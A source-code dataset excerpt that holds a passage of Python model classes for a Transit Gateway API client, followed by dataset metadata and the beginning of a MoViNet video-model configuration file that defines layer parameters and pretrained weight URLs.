_dict['status'] = self.status
if hasattr(self, 'updated_at') and self.updated_at is not None:
_dict['updated_at'] = datetime_to_string(self.updated_at)
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this TransitGateway object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'TransitGateway') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'TransitGateway') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class StatusEnum(str, Enum):
"""
The status of the Transit Gateway.
"""
AVAILABLE = 'available'
FAILED = 'failed'
PENDING = 'pending'
DELETING = 'deleting'
class TransitGatewayCollection():
"""
A list of Transit Gateways.
:attr List[TransitGateway] transit_gateways: Collection of Transit Services
gateways.
"""
def __init__(self,
transit_gateways: List['TransitGateway']) -> None:
"""
Initialize a TransitGatewayCollection object.
:param List[TransitGateway] transit_gateways: Collection of Transit
Services gateways.
"""
self.transit_gateways = transit_gateways
@classmethod
def from_dict(cls, _dict: Dict) -> 'TransitGatewayCollection':
"""Initialize a TransitGatewayCollection object from a json dictionary."""
args = {}
if 'transit_gateways' in _dict:
args['transit_gateways'] = [TransitGateway.from_dict(x) for x in _dict.get('transit_gateways')]
else:
raise ValueError('Required property \'transit_gateways\' not present in TransitGatewayCollection JSON')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a TransitGatewayCollection object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'transit_gateways') and self.transit_gateways is not None:
_dict['transit_gateways'] = [x.to_dict() for x in self.transit_gateways]
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this TransitGatewayCollection object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'TransitGatewayCollection') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'TransitGatewayCollection') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class TransitGatewayConnectionCollection():
"""
A set of Transit Gateway network connections.
:attr List[TransitGatewayConnectionCust] connections: Array of transit gateways
network Connections.
"""
def __init__(self,
connections: List['TransitGatewayConnectionCust']) -> None:
"""
Initialize a TransitGatewayConnectionCollection object.
:param List[TransitGatewayConnectionCust] connections: Array of transit
gateways network Connections.
"""
self.connections = connections
@classmethod
def from_dict(cls, _dict: Dict) -> 'TransitGatewayConnectionCollection':
"""Initialize a TransitGatewayConnectionCollection object from a json dictionary."""
args = {}
if 'connections' in _dict:
args['connections'] = [TransitGatewayConnectionCust.from_dict(x) for x in _dict.get('connections')]
else:
raise ValueError('Required property \'connections\' not present in TransitGatewayConnectionCollection JSON')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a TransitGatewayConnectionCollection object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'connections') and self.connections is not None:
_dict['connections'] = [x.to_dict() for x in self.connections]
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this TransitGatewayConnectionCollection object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'TransitGatewayConnectionCollection') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'TransitGatewayConnectionCollection') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class TransitGatewayConnectionCust():
"""
Connection included in transit gateway.
:attr str name: (optional) The user-defined name for this transit gateway. If
unspecified, the name will be the network name (the name of the VPC in the case
of network type 'vpc', and the word Classic, in the case of network type
'classic').
:attr str network_id: (optional) The ID of the network being connected via this
connection. This field is required for some types, such as 'vpc'. For network
type 'vpc' this is the CRN of the VPC to be connected. This field is required to
be unspecified for network type 'classic'.
:attr str network_type: Defines what type of network is connected via this
connection.
:attr str network_account_id: (optional) The ID of the account which owns the
network that is being connected. Generally only used if the network is in a
different account than the gateway.
:attr str id: The unique identifier for this Transit Gateway Connection to
Network (vpc/classic).
:attr datetime created_at: The date and time that this connection was created.
:attr str request_status: (optional) Only visible for cross account connections,
this field represents the status of the request to connect the given network
between accounts.
:attr str status: (optional) What is the current configuration state of this
connection.
:attr datetime updated_at: (optional) The date and time that this connection was
last updated.
"""
def __init__(self,
network_type: str,
id: str,
created_at: datetime,
*,
name: str = None,
network_id: str = None,
network_account_id: str = None,
request_status: str = None,
status: str = None,
updated_at: datetime = None) -> None:
"""
Initialize a TransitGatewayConnectionCust object.
:param str network_type: Defines what type of network is connected via this
connection.
:param str id: The unique identifier for this Transit Gateway Connection to
Network (vpc/classic).
:param datetime created_at: The date and time that this connection was
created.
:param str name: (optional) The user-defined name for this transit gateway.
If unspecified, the name will be the network name (the name of the VPC in
the case of network type 'vpc', and the word Classic, in the case of
network type 'classic').
:param str network_id: (optional) The ID of the network being connected via
this connection. This field is required for some types, such as 'vpc'. For
network type 'vpc' this is the CRN of the VPC to be connected. This field
is required to be unspecified for network type 'classic'.
:param str network_account_id: (optional) The ID of the account which owns
the network that is being connected. Generally only used if the network is
in a different account than the gateway.
:param str request_status: (optional) Only visible for cross account
connections, this field represents the status of the request to connect the
given network between accounts.
:param str status: (optional) What is the current configuration state of
this connection.
:param datetime updated_at: (optional) The date and time that this
connection was last updated.
"""
self.name = name
self.network_id = network_id
self.network_type = network_type
self.network_account_id = network_account_id
self.id = id
self.created_at = created_at
self.request_status = request_status
self.status = status
self.updated_at = updated_at
@classmethod
def from_dict(cls, _dict: Dict) -> 'TransitGatewayConnectionCust':
"""Initialize a TransitGatewayConnectionCust object from a json dictionary."""
args = {}
if 'name' in _dict:
args['name'] = _dict.get('name')
if 'network_id' in _dict:
args['network_id'] = _dict.get('network_id')
if 'network_type' in _dict:
args['network_type'] = _dict.get('network_type')
else:
raise ValueError('Required property \'network_type\' not present in TransitGatewayConnectionCust JSON')
if 'network_account_id' in _dict:
args['network_account_id'] = _dict.get('network_account_id')
if 'id' in _dict:
args['id'] = _dict.get('id')
else:
raise ValueError('Required property \'id\' not present in TransitGatewayConnectionCust JSON')
if 'created_at' in _dict:
args['created_at'] = string_to_datetime(_dict.get('created_at'))
else:
raise ValueError('Required property \'created_at\' not present in TransitGatewayConnectionCust JSON')
if 'request_status' in _dict:
args['request_status'] = _dict.get('request_status')
if 'status' in _dict:
args['status'] = _dict.get('status')
if 'updated_at' in _dict:
args['updated_at'] = string_to_datetime(_dict.get('updated_at'))
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a TransitGatewayConnectionCust object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'name') and self.name is not None:
_dict['name'] = self.name
if hasattr(self, 'network_id') and self.network_id is not None:
_dict['network_id'] = self.network_id
if hasattr(self, 'network_type') and self.network_type is not None:
_dict['network_type'] = self.network_type
if hasattr(self, 'network_account_id') and self.network_account_id is not None:
_dict['network_account_id'] = self.network_account_id
if hasattr(self, 'id') and self.id is not None:
_dict['id'] = self.id
if hasattr(self, 'created_at') and self.created_at is not None:
_dict['created_at'] = datetime_to_string(self.created_at)
if hasattr(self, 'request_status') and self.request_status is not None:
_dict['request_status'] = self.request_status
if hasattr(self, 'status') and self.status is not None:
_dict['status'] = self.status
if hasattr(self, 'updated_at') and self.updated_at is not None:
_dict['updated_at'] = datetime_to_string(self.updated_at)
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this TransitGatewayConnectionCust object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'TransitGatewayConnectionCust') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'TransitGatewayConnectionCust') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class NetworkTypeEnum(str, Enum):
"""
Defines what type of network is connected via this connection.
"""
VPC = 'vpc'
CLASSIC = 'classic'
class RequestStatusEnum(str, Enum):
"""
Only visible for cross account connections, this field represents the status of
the request to connect the given network between accounts.
"""
PENDING = 'pending'
APPROVED = 'approved'
REJECTED = 'rejected'
EXPIRED = 'expired'
DETACHED = 'detached'
class StatusEnum(str, Enum):
"""
What is the current configuration state of this connection.
"""
ATTACHED = 'attached'
FAILED = 'failed'
PENDING = 'pending'
DELETING = 'deleting'
DETACHING = 'detaching'
DETACHED = 'detached'
| 38.978089
| 128
| 0.598804
| 7,118
| 64,041
| 5.229137
| 0.051981
| 0.045136
| 0.009672
| 0.011875
| 0.80331
| 0.778781
| 0.753687
| 0.739421
| 0.700922
| 0.674727
| 0
| 0.00113
| 0.309052
| 64,041
| 1,642
| 129
| 39.001827
| 0.840042
| 0.337362
| 0
| 0.72301
| 0
| 0
| 0.143617
| 0.035572
| 0
| 0
| 0
| 0
| 0
| 1
| 0.103599
| false
| 0
| 0.009815
| 0
| 0.235551
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
4218159c8d1779c1d35fdde33265da44ed220f38
| 26,416
|
py
|
Python
|
movinets/config.py
|
patrick620/MoViNet-pytorch
|
747f0bd01d0075656c18e9f3a48febbf88e96583
|
[
"MIT"
] | 1
|
2021-07-31T18:02:17.000Z
|
2021-07-31T18:02:17.000Z
|
movinets/config.py
|
patrick620/MoViNet-pytorch
|
747f0bd01d0075656c18e9f3a48febbf88e96583
|
[
"MIT"
] | null | null | null |
movinets/config.py
|
patrick620/MoViNet-pytorch
|
747f0bd01d0075656c18e9f3a48febbf88e96583
|
[
"MIT"
] | 1
|
2021-12-30T06:07:28.000Z
|
2021-12-30T06:07:28.000Z
|
"""
Inspired by
https://github.com/PeizeSun/SparseR-CNN/blob/dff4c43a9526a6d0d2480abc833e78a7c29ddb1a/detectron2/config/defaults.py
"""
from fvcore.common.config import CfgNode as CN
def fill_SE_config(conf, input_channels,
out_channels,
expanded_channels,
kernel_size,
stride,
padding,
padding_avg,
):
conf.expanded_channels =expanded_channels
conf.padding_avg= padding_avg
fill_conv(conf,input_channels,
out_channels,
kernel_size,
stride,
padding,
)
def fill_conv(conf, input_channels,
out_channels,
kernel_size,
stride,
padding,):
conf.input_channels = input_channels
conf.out_channels = out_channels
conf.kernel_size = kernel_size
conf.stride = stride
conf.padding = padding
_C = CN()
_C.MODEL = CN()
###################
#### MoViNetA0 ####
###################
_C.MODEL.MoViNetA0 = CN()
_C.MODEL.MoViNetA0.name = "A0"
_C.MODEL.MoViNetA0.weights = "https://github.com/Atze00/MoViNet-pytorch/blob/main/weights/modelA0_statedict_v3?raw=true"
_C.MODEL.MoViNetA0.stream_weights = "https://github.com/Atze00/MoViNet-pytorch/blob/main/weights/modelA0_stream_statedict_v3?raw=true"
_C.MODEL.MoViNetA0.conv1 = CN()
fill_conv(_C.MODEL.MoViNetA0.conv1, 3,8,(1,3,3),(1,2,2),(0,1,1))
_C.MODEL.MoViNetA0.blocks = [ [CN()],
[CN() for _ in range(3)],
[CN() for _ in range(3)],
[CN() for _ in range(4)],
[CN() for _ in range(4)]]
#Block2
fill_SE_config(_C.MODEL.MoViNetA0.blocks[0][0], 8, 8, 24, (1,5,5), (1,2,2), (0,2,2), (0,1,1))
#block 3
fill_SE_config(_C.MODEL.MoViNetA0.blocks[1][0], 8, 32, 80, (3,3,3), (1,2,2), (1,0,0), (0,0,0))
fill_SE_config(_C.MODEL.MoViNetA0.blocks[1][1], 32, 32, 80, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA0.blocks[1][2], 32, 32, 80, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
#block 4
fill_SE_config(_C.MODEL.MoViNetA0.blocks[2][0], 32, 56, 184, (5,3,3), (1,2,2), (2,0,0), (0,0,0))
fill_SE_config(_C.MODEL.MoViNetA0.blocks[2][1], 56, 56, 112, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA0.blocks[2][2], 56, 56, 184, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
#block 5
fill_SE_config(_C.MODEL.MoViNetA0.blocks[3][0], 56, 56, 184, (5,3,3), (1,1,1), (2,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA0.blocks[3][1], 56, 56, 184, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA0.blocks[3][2], 56, 56, 184, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA0.blocks[3][3], 56, 56, 184, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
#block 6
fill_SE_config(_C.MODEL.MoViNetA0.blocks[4][0], 56, 104, 384, (5,3,3), (1,2,2), (2,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA0.blocks[4][1], 104, 104, 280, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA0.blocks[4][2], 104, 104, 280, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA0.blocks[4][3], 104, 104, 344, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
_C.MODEL.MoViNetA0.conv7= CN()
fill_conv(_C.MODEL.MoViNetA0.conv7, 104,480,(1,1,1),(1,1,1),(0,0,0))
_C.MODEL.MoViNetA0.dense9= CN()
_C.MODEL.MoViNetA0.dense9.hidden_dim = 2048
###################
#### MoViNetA1 ####
###################
_C.MODEL.MoViNetA1 = CN()
_C.MODEL.MoViNetA1.name = "A1"
_C.MODEL.MoViNetA1.weights = "https://github.com/Atze00/MoViNet-pytorch/blob/main/weights/modelA1_statedict_v3?raw=true"
_C.MODEL.MoViNetA1.stream_weights = "https://github.com/Atze00/MoViNet-pytorch/blob/main/weights/modelA1_stream_statedict_v3?raw=true"
_C.MODEL.MoViNetA1.conv1 = CN()
fill_conv(_C.MODEL.MoViNetA1.conv1, 3, 16,(1,3,3),(1,2,2),(0,1,1))
_C.MODEL.MoViNetA1.blocks = [ [CN() for _ in range(2)],
[CN() for _ in range(4)],
[CN() for _ in range(5)],
[CN() for _ in range(6)],
[CN() for _ in range(7)]]
#Block2
fill_SE_config(_C.MODEL.MoViNetA1.blocks[0][0], 16, 16, 40, (1,5,5), (1,2,2), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA1.blocks[0][1], 16, 16, 40, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
#block 3
fill_SE_config(_C.MODEL.MoViNetA1.blocks[1][0], 16, 40, 96, (3,3,3), (1,2,2), (1,0,0), (0,0,0))
fill_SE_config(_C.MODEL.MoViNetA1.blocks[1][1], 40, 40, 120, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA1.blocks[1][2], 40, 40, 96, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA1.blocks[1][3], 40, 40, 96, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
#block 4
fill_SE_config(_C.MODEL.MoViNetA1.blocks[2][0], 40, 64, 216, (5,3,3), (1,2,2), (2,0,0), (0,0,0))
fill_SE_config(_C.MODEL.MoViNetA1.blocks[2][1], 64, 64, 128, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA1.blocks[2][2], 64, 64, 216, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA1.blocks[2][3], 64, 64, 168, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA1.blocks[2][4], 64, 64, 216, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
#block 5
fill_SE_config(_C.MODEL.MoViNetA1.blocks[3][0], 64, 64, 216, (5,3,3), (1,1,1), (2,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA1.blocks[3][1], 64, 64, 216, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA1.blocks[3][2], 64, 64, 216, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA1.blocks[3][3], 64, 64, 128, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA1.blocks[3][4], 64, 64, 128, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA1.blocks[3][5], 64, 64, 216, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
#block 6
fill_SE_config(_C.MODEL.MoViNetA1.blocks[4][0], 64 , 136, 456, (5,3,3), (1,2,2), (2,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA1.blocks[4][1], 136, 136, 360, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA1.blocks[4][2], 136, 136, 360, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA1.blocks[4][3], 136, 136, 360, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA1.blocks[4][4], 136, 136, 456, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA1.blocks[4][5], 136, 136, 456, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA1.blocks[4][6], 136, 136, 544, (1,3,3), (1,1,1), (0,1,1), (0,1,1))
_C.MODEL.MoViNetA1.conv7= CN()
fill_conv(_C.MODEL.MoViNetA1.conv7, 136,600,(1,1,1),(1,1,1),(0,0,0))
_C.MODEL.MoViNetA1.dense9= CN()
_C.MODEL.MoViNetA1.dense9.hidden_dim = 2048
###################
#### MoViNetA2 ####
###################
_C.MODEL.MoViNetA2 = CN()
_C.MODEL.MoViNetA2.name = "A2"
_C.MODEL.MoViNetA2.weights = "https://github.com/Atze00/MoViNet-pytorch/blob/main/weights/modelA2_statedict_v3?raw=true"
_C.MODEL.MoViNetA2.stream_weights = "https://github.com/Atze00/MoViNet-pytorch/blob/main/weights/modelA2_stream_statedict_v3?raw=true"
_C.MODEL.MoViNetA2.conv1 = CN()
fill_conv(_C.MODEL.MoViNetA2.conv1, 3,16,(1,3,3),(1,2,2),(0,1,1))
_C.MODEL.MoViNetA2.blocks = [ [CN() for _ in range(3)],
[CN() for _ in range(5)],
[CN() for _ in range(5)],
[CN() for _ in range(6)],
[CN() for _ in range(7)]]
#Block2
fill_SE_config(_C.MODEL.MoViNetA2.blocks[0][0], 16, 16, 40, (1,5,5), (1,2,2), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA2.blocks[0][1], 16, 16, 40, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA2.blocks[0][2], 16, 16, 64, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
#block 3
fill_SE_config(_C.MODEL.MoViNetA2.blocks[1][0], 16, 40, 96, (3,3,3), (1,2,2), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA2.blocks[1][1], 40, 40, 120, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA2.blocks[1][2], 40, 40, 96, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA2.blocks[1][3], 40, 40, 96, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA2.blocks[1][4], 40, 40, 120, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
#block 4
fill_SE_config(_C.MODEL.MoViNetA2.blocks[2][0], 40, 72, 240, (5,3,3), (1,2,2), (2,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA2.blocks[2][1], 72, 72, 160, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA2.blocks[2][2], 72, 72, 240, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA2.blocks[2][3], 72, 72, 192, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA2.blocks[2][4], 72, 72, 240, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
#block 5
fill_SE_config(_C.MODEL.MoViNetA2.blocks[3][0], 72, 72, 240, (5,3,3), (1,1,1), (2,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA2.blocks[3][1], 72, 72, 240, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA2.blocks[3][2], 72, 72, 240, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA2.blocks[3][3], 72, 72, 240, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA2.blocks[3][4], 72, 72, 144, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA2.blocks[3][5], 72, 72, 240, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
#block 6
fill_SE_config(_C.MODEL.MoViNetA2.blocks[4][0], 72 , 144, 480, (5,3,3), (1,2,2), (2,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA2.blocks[4][1], 144, 144, 384, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA2.blocks[4][2], 144, 144, 384, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA2.blocks[4][3], 144, 144, 480, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA2.blocks[4][4], 144, 144, 480, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA2.blocks[4][5], 144, 144, 480, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA2.blocks[4][6], 144, 144, 576, (1,3,3), (1,1,1), (0,1,1), (0,1,1))
_C.MODEL.MoViNetA2.conv7= CN()
fill_conv(_C.MODEL.MoViNetA2.conv7, 144,640,(1,1,1),(1,1,1),(0,0,0))
_C.MODEL.MoViNetA2.dense9= CN()
_C.MODEL.MoViNetA2.dense9.hidden_dim = 2048
###################
#### MoViNetA3 ####
###################
_C.MODEL.MoViNetA3 = CN()
_C.MODEL.MoViNetA3.name = "A3"
_C.MODEL.MoViNetA3.weights = "https://github.com/Atze00/MoViNet-pytorch/blob/main/weights/modelA3_statedict_v3?raw=true"
_C.MODEL.MoViNetA3.conv1 = CN()
fill_conv(_C.MODEL.MoViNetA3.conv1, 3,16,(1,3,3),(1,2,2),(0,1,1))
_C.MODEL.MoViNetA3.blocks = [ [CN() for _ in range(4)],
[CN() for _ in range(6)],
[CN() for _ in range(5)],
[CN() for _ in range(8)],
[CN() for _ in range(10)]]
#Block2
fill_SE_config(_C.MODEL.MoViNetA3.blocks[0][0], 16, 16, 40, (1,5,5), (1,2,2), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA3.blocks[0][1], 16, 16, 40, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA3.blocks[0][2], 16, 16, 64, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA3.blocks[0][3], 16, 16, 40, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
#block 3
fill_SE_config(_C.MODEL.MoViNetA3.blocks[1][0], 16, 48, 112, (3,3,3), (1,2,2), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA3.blocks[1][1], 48, 48, 144, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA3.blocks[1][2], 48, 48, 112, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA3.blocks[1][3], 48, 48, 112, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA3.blocks[1][4], 48, 48, 144, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA3.blocks[1][5], 48, 48, 144, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
#block 4
fill_SE_config(_C.MODEL.MoViNetA3.blocks[2][0], 48, 80, 240, (5,3,3), (1,2,2), (2,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA3.blocks[2][1], 80, 80, 152, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA3.blocks[2][2], 80, 80, 240, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA3.blocks[2][3], 80, 80, 192, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA3.blocks[2][4], 80, 80, 240, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
#block 5
fill_SE_config(_C.MODEL.MoViNetA3.blocks[3][0], 80, 88, 264, (5,3,3), (1,1,1), (2,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA3.blocks[3][1], 88, 88, 264, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA3.blocks[3][2], 88, 88, 264, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA3.blocks[3][3], 88, 88, 264, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA3.blocks[3][4], 88, 88, 160, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA3.blocks[3][5], 88, 88, 264, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA3.blocks[3][6], 88, 88, 264, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA3.blocks[3][7], 88, 88, 264, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
#block 6
fill_SE_config(_C.MODEL.MoViNetA3.blocks[4][0], 88 , 168, 560, (5,3,3), (1,2,2), (2,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA3.blocks[4][1], 168, 168, 448, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA3.blocks[4][2], 168, 168, 448, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA3.blocks[4][3], 168, 168, 560, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA3.blocks[4][4], 168, 168, 560, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA3.blocks[4][5], 168, 168, 560, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA3.blocks[4][6], 168, 168, 448, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA3.blocks[4][7], 168, 168, 448, (1,5,5), (1,1,1), (0,2,2), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA3.blocks[4][8], 168, 168, 560, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
fill_SE_config(_C.MODEL.MoViNetA3.blocks[4][9], 168, 168, 672, (1,3,3), (1,1,1), (0,1,1), (0,1,1))
_C.MODEL.MoViNetA3.conv7= CN()
fill_conv(_C.MODEL.MoViNetA3.conv7, 168,744,(1,1,1),(1,1,1),(0,0,0))
_C.MODEL.MoViNetA3.dense9= CN()
_C.MODEL.MoViNetA3.dense9.hidden_dim = 2048
###################
#### MoViNetA4 ####
###################
_C.MODEL.MoViNetA4 = CN()
_C.MODEL.MoViNetA4.name = "A4"
_C.MODEL.MoViNetA4.weights = "https://github.com/Atze00/MoViNet-pytorch/blob/main/weights/modelA4_statedict_v3?raw=true"
_C.MODEL.MoViNetA4.conv1 = CN()
fill_conv(_C.MODEL.MoViNetA4.conv1, 3,24,(1,3,3),(1,2,2),(0,1,1))
_C.MODEL.MoViNetA4.blocks = [ [CN() for _ in range(6)],
[CN() for _ in range(9)],
[CN() for _ in range(9)],
[CN() for _ in range(10)],
[CN() for _ in range(13)]]
#Block2
fill_SE_config(_C.MODEL.MoViNetA4.blocks[0][0], 24, 24, 64, (1,5,5), (1,2,2), (0,1,1), (0,0,0))
fill_SE_config(_C.MODEL.MoViNetA4.blocks[0][1], 24, 24, 64, (3,3,3), (1,1,1), (1,1,1), (0,1,1))
